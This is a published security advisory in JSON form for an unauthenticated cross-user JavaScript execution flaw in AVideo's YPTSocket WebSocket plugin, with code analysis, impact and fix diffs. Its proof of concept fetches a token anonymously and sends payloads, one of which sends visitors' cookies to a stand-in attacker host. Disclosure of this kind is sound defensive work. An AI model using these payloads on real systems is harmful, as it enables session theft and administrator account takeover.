{"id":"GHSA-gph2-j4c9-vhhr","summary":"WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks","details":"## Summary\n\nThe YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.\n\n## Details\n\n### Token issuance is unauthenticated\n\n`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\"YPTSocket\")){\n    $obj-\u003emsg = \"Socket plugin not enabled\";\n    die(json_encode($obj));\n}\n$obj-\u003eerror = false;\n$obj-\u003ewebSocketToken = getEncryptedInfo(0);\n$obj-\u003ewebSocketURL = YPTSocket::getWebSocketURL();\n```\n\n`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server's `onOpen` handler (`Message.php:44-52`) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.\n\n### Server relays attacker JSON verbatim\n\n`plugin/YPTSocket/Message.php:191-245` — the default branch of `onMessage` only rewrites `from_identification`:\n\n```php\npublic function onMessage(ConnectionInterface $from, $msg) {\n    ...\n    $json = _json_decode($msg);\n    if (empty($json-\u003ewebSocketToken)) { return false; }\n    if (!$msgObj = getDecryptedInfo($json-\u003ewebSocketToken)) { return false; }\n\n    switch ($json-\u003emsg) {\n        ...\n        default:\n            $this-\u003emsgToArray($json);\n            if (isset($json['from_identification'])) {\n                $json['from_identification'] = strip_tags((string)($msgObj-\u003euser_name ?? ''));\n            }\n            ...\n            } else {\n                $this-\u003emsgToAll($from, $json);  // broadcast\n            }\n            break;\n    }\n}\n```\n\n`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:\n\n```php\nif (isset($msg['callback'])) {\n    $obj['callback'] = $msg['callback'];  // tainted\n    ...\n}\n...\n} else if (!empty($msg['msg'])) {\n    $obj['msg'] = $msg['msg'];  // tainted — entire object forwarded verbatim\n}\n```\n\n`$obj` is JSON-encoded at line 335 and sent to every connected client.\n\n### Client-side sink #1: `autoEvalCodeOnHTML` → eval\n\n`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:\n\n```js\nconnWS.onmessage = function (e) {\n    var json = JSON.parse(e.data);\n    ...\n    yptSocketResponse = json;\n    parseSocketResponse();\n    ...\n};\n```\n\n`parseSocketResponse()` at `script.js:545-569` reaches the sink:\n\n```js\nasync function parseSocketResponse() {\n    const json = yptSocketResponse;\n    ...\n    if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n        eval(json.msg.autoEvalCodeOnHTML);   // \u003c-- attacker-controlled\n    }\n    ...\n}\n```\n\n### Client-side sink #2: `json.callback` → eval\n\n`plugin/YPTSocket/script.js:91-95` — `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on(\"message\", (data) =\u003e { … processSocketJson(data) })`):\n\n```js\nif (json.callback) {\n    var code = \"if (typeof \" + json.callback + \" == 'function') { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n    socketLog('Executing callback:', json.callback);\n    eval(code);\n    ...\n}\n```\n\nBecause `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.\n\n## PoC\n\nPrerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).\n\n**Step 1 — obtain a token anonymously** (no cookies, no auth):\n\n```bash\ncurl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'\n```\n\nExpected output (abbreviated):\n```json\n{\"error\":false,\"msg\":\"\",\"webSocketToken\":\"\u003clong encrypted token\u003e\",\"webSocketURL\":\"wss://target.example:8888/?webSocketToken=\u003ctoken\u003e&...\"}\n```\n\n**Step 2 — connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client:\n\n```js\nconst WebSocket = require('ws');\nconst TOKEN = '\u003ctoken from step 1\u003e';\nconst URL   = '\u003cwebSocketURL from step 1\u003e';\nconst ws = new WebSocket(URL, { rejectUnauthorized: false });\n\nws.on('open', () =\u003e {\n    // Payload 1 — primary sink (raw WebSocket transport):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: {\n            autoEvalCodeOnHTML:\n                \"fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));\" +\n                \"alert('XSS as '+document.domain);\"\n        }\n    }));\n\n    // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: \"p\",\n        callback: \"alert(document.domain);window.x\"\n    }));\n});\n```\n\n**Step 3 — observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's `script.js` — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:\n\n- Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.\n- Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == 'function') { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.\n\nAny administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.\n\n## Impact\n\nA single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely:\n\n- Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).\n- Privileged action execution on behalf of any admin who happens to be online — including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.\n- Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.\n- Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.\n- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.\n\n## Recommended Fix\n\nMultiple defense-in-depth layers are required:\n\n**1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`:\n\n```diff\n- if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n-     eval(json.msg.autoEvalCodeOnHTML);\n- }\n```\n\nNo legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.\n\nReplace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:\n\n```diff\n- if (json.callback) {\n-     var code = \"if (typeof \" + json.callback + \" == 'function') { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n-     eval(code);\n-     ...\n- } else {\n-     myfunc = defaultCallback;\n- }\n+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];\n+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1\n+     && typeof window[json.callback] === 'function') {\n+     myfunc = window[json.callback];\n+     const event = new CustomEvent(json.callback, { detail: _details });\n+     document.dispatchEvent(event);\n+ } else {\n+     myfunc = defaultCallback;\n+ }\n```\n\n**2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg['msg']` verbatim:\n\n```php\n// At top of default branch, after msgToArray:\n$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];\nif (isset($json['msg']) && is_array($json['msg'])) {\n    $json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));\n}\n// Similarly sanitize callback:\nif (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n    unset($json['callback']);\n}\n```\n\n**3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all — the default branch of `onMessage` should require `$msgObj-\u003eisAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.","aliases":["CVE-2026-40911"],"modified":"2026-05-05T16:11:38.229686Z","published":"2026-04-14T22:50:05Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-04-14T22:50:05Z","nvd_published_at":"2026-04-21T21:16:45Z","cwe_ids":["CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40911"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-gph2-j4c9-vhhr/GHSA-gph2-j4c9-vhhr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}